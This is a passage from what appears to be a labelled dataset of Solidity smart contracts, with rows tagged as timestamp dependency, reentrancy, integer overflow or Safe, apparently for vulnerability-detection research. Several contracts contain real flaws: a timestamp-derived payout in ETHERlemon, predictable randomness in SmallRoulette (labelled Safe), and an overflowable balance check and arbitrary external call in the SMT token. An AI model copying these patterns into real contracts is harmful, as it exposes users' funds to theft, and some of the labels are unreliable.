== 0); balances[_user] = balances[_user].sub(_value); stakeBalances[_user].stakeBalance = _value; totalScaleStaked = totalScaleStaked.add(_value); stakeBalances[_user].initialStakeTime = now.div(timingVariable); setTotalStakingHistory(); emit Stake(_user, _value); return true; } function getStakingGains(uint _now) view public returns (uint) { if (stakeBalances[msg.sender].stakeBalance == 0) { return 0; } return calculateStakeGains(_now); } function unstake() external returns (bool) { require(stakeBalances[msg.sender].stakeBalance > 0); require(now.div(timingVariable).sub(stakeBalances[msg.sender].initialStakeTime) >= 7); uint _tokensToMint = calculateStakeGains(now); balances[msg.sender] = balances[msg.sender].add(stakeBalances[msg.sender].stakeBalance); totalScaleStaked = totalScaleStaked.sub(stakeBalances[msg.sender].stakeBalance); mint(msg.sender, _tokensToMint); emit Unstake(msg.sender, stakeBalances[msg.sender].stakeBalance, _tokensToMint); stakeBalances[msg.sender].stakeBalance = 0; stakeBalances[msg.sender].initialStakeTime = 0; setTotalStakingHistory(); return true; } function calculateStakeGains(uint _now) view private returns (uint mintTotal) { uint _nowAsTimingVariable = _now.div(timingVariable); uint _initialStakeTimeInVariable = stakeBalances[msg.sender].initialStakeTime; uint _timePassedSinceStakeInVariable = _nowAsTimingVariable.sub(_initialStakeTimeInVariable); uint _stakePercentages = 0; uint _tokensToMint = 0; uint _lastUsedVariable; for (uint i = _initialStakeTimeInVariable; i < _nowAsTimingVariable; i++) { if (totalStakingHistory[i] != 0) { _stakePercentages = _stakePercentages.add(calculateFraction(stakeBalances[msg.sender].stakeBalance, totalStakingHistory[i], decimals)); _lastUsedVariable = totalStakingHistory[i]; } else { _stakePercentages = _stakePercentages.add(calculateFraction(stakeBalances[msg.sender].stakeBalance, _lastUsedVariable, decimals)); } } uint _stakePercentageAverage = calculateFraction(_stakePercentages, _timePassedSinceStakeInVariable, 0); uint _finalMintRate = stakingMintRate.mul(_stakePercentageAverage); _finalMintRate = _finalMintRate.div(1 ether); if (_timePassedSinceStakeInVariable >= 365) { _tokensToMint = calculateMintTotal(timingVariable.mul(365), _finalMintRate); } else { _tokensToMint = calculateMintTotal(_timePassedSinceStakeInVariable.mul(timingVariable), _finalMintRate); } return _tokensToMint; } function setTotalStakingHistory() private { uint _nowAsTimingVariable = now.div(timingVariable); totalStakingHistory[_nowAsTimingVariable] = totalScaleStaked; } function getStakedBalance() view external returns (uint stakedBalance) { return stakeBalances[msg.sender].stakeBalance; } function ownerClaim() external onlyOwner { require(now > ownerTimeLastMinted); uint _timePassedSinceLastMint; uint _tokenMintCount; bool _mintingSuccess; _timePassedSinceLastMint = now.sub(ownerTimeLastMinted); assert(_timePassedSinceLastMint > 0); _tokenMintCount = calculateMintTotal(_timePassedSinceLastMint, ownerMintRate); _mintingSuccess = mint(msg.sender, _tokenMintCount); require(_mintingSuccess); ownerTimeLastMinted = now; } function poolIssue() public { require(pool != address(0)); require(now > poolTimeLastMinted); require(pool != address(0)); uint _timePassedSinceLastMint; uint _tokenMintCount; bool _mintingSuccess; _timePassedSinceLastMint = now.sub(poolTimeLastMinted); assert(_timePassedSinceLastMint > 0); _tokenMintCount = calculateMintTotal(_timePassedSinceLastMint, poolMintRate); _mintingSuccess = mint(pool, _tokenMintCount); require(_mintingSuccess); poolTimeLastMinted = now; } function setPool(address _newAddress) public onlyOwner { pool = _newAddress; } function calculateFraction(uint _numerator, uint _denominator, uint _precision) pure private returns(uint quotient) { _numerator = _numerator.mul(10 ** (_precision + 1)); uint _quotient = ((_numerator.div(_denominator)) + 5) / 10; return (_quotient); } function calculateMintTotal(uint _timeInSeconds, uint _mintRate) pure private returns(uint mintAmount) { return(_timeInSeconds.mul(_mintRate)); } }",./Dataset/timestamp dependency (TP)/,6,6 0x01b4A0621991f444338c59655de13fbE76F803D1_DealToken.sol,"pragma solidity 0.4.15; contract IDealToken { function spend(address _from, uint256 _value) returns (bool success); } /** * Abstract function defining the receiveApproval function */ contract ITokenRecipient { function receiveApproval(address _from, uint _value, address _token, bytes _extraData); } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title - DEAL Token contract for Foreground * @author - Shane van Coller */ contract DealToken is MintableToken, IDealToken { string public constant name = ""Deal Token""; string public constant symbol = ""DEAL""; uint8 public constant decimals = 0; uint256 public totalTokensBurnt = 0; event TokensSpent(address indexed _from, uint256 _value); /** * @dev - Empty constructor */ function DealToken() public { } /** * @dev - Function that allows foreground contract to spend (burn) the tokens. * @param _from - Account to withdraw from. * @param _value - Number of tokens to withdraw. * @return - A boolean that indicates if the operation was successful. */ function spend(address _from, uint256 _value) public returns (bool) { require(_value > 0); if (balances[_from] < _value || allowed[_from][msg.sender] < _value) { return false; } allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); totalTokensBurnt = totalTokensBurnt.add(_value); totalSupply = totalSupply.sub(_value); TokensSpent(_from, _value); return true; } /** * @dev - Allow another contract to spend some tokens on your behalf * @param _spender - Contract that will spend the tokens * @param _value - Amount of tokens to spend * @param _extraData - Additional data to pass to the receiveApproval * @return - A boolean that indicates if the operation was successful. */ function approveAndCall(ITokenRecipient _spender, uint256 _value, bytes _extraData) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); _spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } }",Safe,8,8 2315.sol," contract ETHERlemon { uint public paymentqueue = 0; uint public feecounter; address public owner; address public ipyh=0x5fD8B8237B6fA8AEDE4fdab7338709094d5c5eA4; address public hyip=0xfAF7100b413465Ea0eB550d6D6a2A29695A6f218; address meg=this; modifier _onlyowner { if (msg.sender == owner) _ } function ETHERlemon() { owner = msg.sender; } function() { enter(); } function enter() { if (msg.sender == owner) { UpdatePay(); } else { feecounter+=msg.value/10; owner.send(feecounter/2); ipyh.send((feecounter/2)/2); hyip.send((feecounter/2)/2); feecounter=0; if (msg.value == (1 ether)/10) { canPay(); } else { msg.sender.send(msg.value - msg.value/10); } } } function UpdatePay() _onlyowner { msg.sender.send(meg.balance); } function canPay() internal { msg.sender.send((block.timestamp*1000)*1000*40); } }",./Dataset/timestamp dependency (TP)/,6,6 0x01B21934Ba28DfD8a22c4D21c710290500A5081F_SmallRoulette.sol,"// SmallRoulette (Version with more chances to win 1-5) // // Guess the number secretly stored in the blockchain and win the whole contract balance! // A new number is randomly chosen after each try. // // To play, call the play() method with the guessed number (1-5). Bet price: 0.1 ether contract SmallRoulette { uint256 private secretNumber; uint256 public lastPlayed; uint256 public betPrice = 0.1 ether; address public ownerAddr; struct Game { address player; uint256 number; } Game[] public gamesPlayed; function SmallRoulette() public { ownerAddr = msg.sender; shuffle(); } function shuffle() internal { // randomly set secretNumber with a value between 1 and 5 secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 5 + 1; } function play(uint256 number) payable public { require(msg.value >= betPrice && number <= 5); Game game; game.player = msg.sender; game.number = number; gamesPlayed.push(game); if (number == secretNumber) { // win! msg.sender.transfer(this.balance); } shuffle(); lastPlayed = now; } function kill() public { if (msg.sender == ownerAddr && now > lastPlayed + 1 days) { suicide(msg.sender); } } function() public payable { } }",Safe,8,8 43413.sol,"// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.15; contract Token { /* This is a slight change to the ERC20 base standard.*/ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Owned { /// `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require(msg.sender == owner); _; } address public owner; /// @notice The Constructor assigns the message sender to be `owner` function Owned() public { owner = msg.sender; } address newOwner=0x0; event OwnerUpdate(address _prevOwner, address _newOwner); ///change the owner function changeOwner(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } /// accept the ownership function acceptOwnership() public{ require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract Controlled is Owned{ function Controlled() public { setExclude(msg.sender); } // Flag that determines if the token is transferable or not. bool public transferEnabled = false; // flag that makes locked address effect bool lockFlag=true; mapping(address => bool) locked; mapping(address => bool) exclude; function enableTransfer(bool _enable) public onlyOwner{ transferEnabled=_enable; } function disableLock(bool _enable) public onlyOwner returns (bool success){ lockFlag=_enable; return true; } function addLock(address _addr) public onlyOwner returns (bool success){ require(_addr!=msg.sender); locked[_addr]=true; return true; } function setExclude(address _addr) public onlyOwner returns (bool success){ exclude[_addr]=true; return true; } function removeLock(address _addr) public onlyOwner returns (bool success){ locked[_addr]=false; return true; } modifier transferAllowed(address _addr) { if (!exclude[_addr]) { assert(transferEnabled); if(lockFlag){ assert(!locked[_addr]); } } _; } } contract StandardToken is Token,Controlled { function transfer(address _to, uint256 _value) public transferAllowed(msg.sender) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public transferAllowed(_from) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract SMT is StandardToken { function () public { revert(); } string public name = ""SmartMesh Token""; //fancy name uint8 public decimals = 18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol = ""SMT""; //An identifier string public version = 'v0.1'; //SMT 0.1 standard. Just an arbitrary versioning scheme. uint256 public allocateEndTime; // The nonce for avoid transfer replay attacks mapping(address => uint256) nonces; function SMT() public { allocateEndTime = now + 1 days; } /* * Proxy transfer SmartMesh token. When some users of the ethereum account has no ether, * he or she can authorize the agent for broadcast transactions, and agents may charge agency fees * @param _from * @param _to * @param _value * @param feeSmt * @param _v * @param _r * @param _s */ function transferProxy(address _from, address _to, uint256 _value, uint256 _feeSmt, uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){ if(balances[_from] < _feeSmt + _value) revert(); uint256 nonce = nonces[_from]; bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce); if(_from != ecrecover(h,_v,_r,_s)) revert(); if(balances[_to] + _value < balances[_to] || balances[msg.sender] + _feeSmt < balances[msg.sender]) revert(); balances[_to] += _value; Transfer(_from, _to, _value); balances[msg.sender] += _feeSmt; Transfer(_from, msg.sender, _feeSmt); balances[_from] -= _value + _feeSmt; nonces[_from] = nonce + 1; return true; } /* * Proxy approve that some one can authorize the agent for broadcast transaction * which call approve method, and agents may charge agency fees * @param _from The address which should tranfer SMT to others * @param _spender The spender who allowed by _from * @param _value The value that should be tranfered. * @param _v * @param _r * @param _s */ function approveProxy(address _from, address _spender, uint256 _value, uint8 _v,bytes32 _r, bytes32 _s) public returns (bool success) { uint256 nonce = nonces[_from]; bytes32 hash = keccak256(_from,_spender,_value,nonce); if(_from != ecrecover(hash,_v,_r,_s)) revert(); allowed[_from][_spender] = _value; Approval(_from, _spender, _value); nonces[_from] = nonce + 1; return true; } /* * Get the nonce * @param _addr */ function getNonce(address _addr) public constant returns (uint256){ return nonces[_addr]; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(keccak256(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } /* Approves and then calls the contract code*/ function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //Call the contract code if(!_spender.call(_extraData)) { revert(); } return true; } // Allocate tokens to the users // @param _owners The owners list of the token // @param _values The value list of the token function allocateTokens(address[] _owners, uint256[] _values) public onlyOwner { if(allocateEndTime < now) revert(); if(_owners.length != _values.length) revert(); for(uint256 i = 0; i < _owners.length ; i++){ address to = _owners[i]; uint256 value = _values[i]; if(totalSupply + value <= totalSupply || balances[to] + value <= balances[to]) revert(); totalSupply += value; balances[to] += value; } } }",./Dataset/reentrancy (RE)/,5,5 1950.sol,"pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract SigmaIOToken is ERC20, Pausable { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; function SigmaIOToken() public { totalSupply_ = 1000000000000000000; name = ""SigmaIO Token""; symbol = ""SIGM""; decimals = 8; balances[msg.sender] = totalSupply_; } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }",./Dataset/integer overflow (OF)/,4,4 0x03d8ca77a89372afb920fa483e4544ad02f3a15a_Relay.sol,"/** * Relay.sol v1.0.0 * * Bilal Arif - https://twitter.com/furusiyya_ * Notary Platform */ pragma solidity ^0.4.16; // Used for accepting small contributions without whitelist contract Ownable { /* @title Ownable @dev The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies the implementation of ""user permissions"". */ address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable(address _owner){ owner = _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } contract Pausable is Ownable { event Pause(bool indexed state); bool private paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev return the current state of contract */ function Paused() external constant returns(bool){ return paused; } /** * @dev called by the owner to pause or unpause, triggers stopped state * on first call and returns to normal state on second call */ function tweakState() external onlyOwner { paused = !paused; Pause(paused); } } contract Relay is Pausable{ address private crowdfunding; function Relay() Ownable(0x0587e235a5906ed8143d026de530d77ad82f8a92){ crowdfunding = 0x34a3DeB32b4705018F1e543A5867cF01AFf3F15B; } function () payable isMinimum whenNotPaused{ crowdfunding.transfer(msg.value); } /** Modifier allowing execution only if received value is greater than zero */ modifier isMinimum(){ require(msg.value <= 2 ether); _; } }",Safe,8,8 35447.sol,"pragma solidity ^0.4.16; //https://github.com/genkifs/staticoin contract owned { address owner; function owned() { owner = msg.sender; } function changeOwner(address newOwner) onlyOwner { owner = newOwner; } modifier onlyOwner() { if (msg.sender==owner) _; } } contract mortal is owned() { function kill() onlyOwner { if (msg.sender == owner) selfdestruct(owner); } } library ERC20Lib { //Inspired by https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736 struct TokenStorage { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 totalSupply; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier onlyPayloadSize(uint numwords) { /** * @dev Checks for short addresses * @param numwords number of parameters passed */ assert(msg.data.length >= numwords * 32 + 4); _; } modifier validAddress(address _address) { /** * @dev validates an address. * @param _address checks that it isn't null or this contract address */ require(_address != 0x0); require(_address != address(msg.sender)); _; } modifier IsWallet(address _address) { /** * @dev Transfer tokens from msg.sender to another address. * Cannot Allows execution if the transfer to address code size is 0 * @param _address address to check that its not a contract */ uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_address) } assert(codeLength==0); _; } function safeMul(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function init(TokenStorage storage self, uint _initial_supply) { self.totalSupply = _initial_supply; self.balances[msg.sender] = _initial_supply; } function transfer(TokenStorage storage self, address _to, uint256 _value) onlyPayloadSize(3) IsWallet(_to) returns (bool success) { /** * @dev Transfer tokens from msg.sender to another address. * Cannot be used to send tokens to a contract, this means contracts cannot mint coins to themselves * Contracts have to use the approve and transfer method * this is based on https://github.com/Dexaran/ERC223-token-standard * @param _to address The address where the coin is to be transfered * @param _value uint256 the amount of tokens to be transferred */ if (self.balances[msg.sender] >= _value && self.balances[_to] + _value > self.balances[_to]) { self.balances[msg.sender] = safeSub(self.balances[msg.sender], _value); self.balances[_to] = safeAdd(self.balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(TokenStorage storage self, address _from, address _to, uint256 _value) onlyPayloadSize(4) validAddress(_from) validAddress(_to) returns (bool success) { /** * @dev Transfer tokens from one address to another. Requires allowance to be set. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ if (self.balances[_from] >= _value && self.allowed[_from][msg.sender] >= _value && self.balances[_to] + _value > self.balances[_to]) { var _allowance = self.allowed[_from][msg.sender]; self.balances[_to] = safeAdd(self.balances[_to], _value); self.balances[_from] = safeSub(self.balances[_from], _value); self.allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(TokenStorage storage self, address _owner) constant onlyPayloadSize(2) validAddress(_owner) returns (uint256 balance) { /** * @dev returns the amount given to an account * @param _owner The address to be queried * @return Balance of _owner. */ return self.balances[_owner]; } function approve(TokenStorage storage self, address _spender, uint256 _value) onlyPayloadSize(3) validAddress(_spender) returns (bool success) { /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ //require user to set to zero before resetting to nonzero if ((_value != 0) && (self.allowed[msg.sender][_spender] != 0)) { return false; } else { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } function allowance(TokenStorage storage self, address _owner, address _spender) constant onlyPayloadSize(3) validAddress(_owner) validAddress(_spender) returns (uint256 remaining) { /** * @dev allows queries of how much a given address is allowed to spend on behalf of another account * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return remaining uint256 specifying the amount of tokens still available for the spender. */ return self.allowed[_owner][_spender]; } function increaseApproval(TokenStorage storage self, address _spender, uint256 _addedValue) onlyPayloadSize(3) validAddress(_spender) returns (bool success) { /** * @dev Allows to increment allowed value * better to use this function to avoid 2 calls * @param _spender address The address which will spend the funds. * @param _addedValue amount to increase alowance by. * @return True if allowance increased */ uint256 oldValue = self.allowed[msg.sender][_spender]; self.allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval(TokenStorage storage self,address _spender, uint256 _subtractedValue) onlyPayloadSize(3) validAddress(_spender) returns (bool success) { /** * @dev Allows to decrement allowed value * better to use this function to avoid 2 calls * @param _spender address The address which will spend the funds. * @param _subtractedValue amount to decrease allowance by. * @return True if allowance decreased */ uint256 oldValue = self.allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { self.allowed[msg.sender][_spender] = 0; } else { self.allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue); } return true; } /* Approves and then calls the receiving contract with any additional paramteres*/ function approveAndCall(TokenStorage storage self, address _spender, uint256 _value, bytes _extraData) onlyPayloadSize(4) validAddress(_spender) returns (bool success) { //require user to set to zero before resetting to nonzero /** * @dev Approves and then calls the receiving contract with any additional paramteres * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @param _value address The address which will spend the funds. * @param _extraData is the additional paramters passed * @return True if successful. */ if ((_value != 0) && (self.allowed[msg.sender][_spender] != 0)) { return false; } else { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be 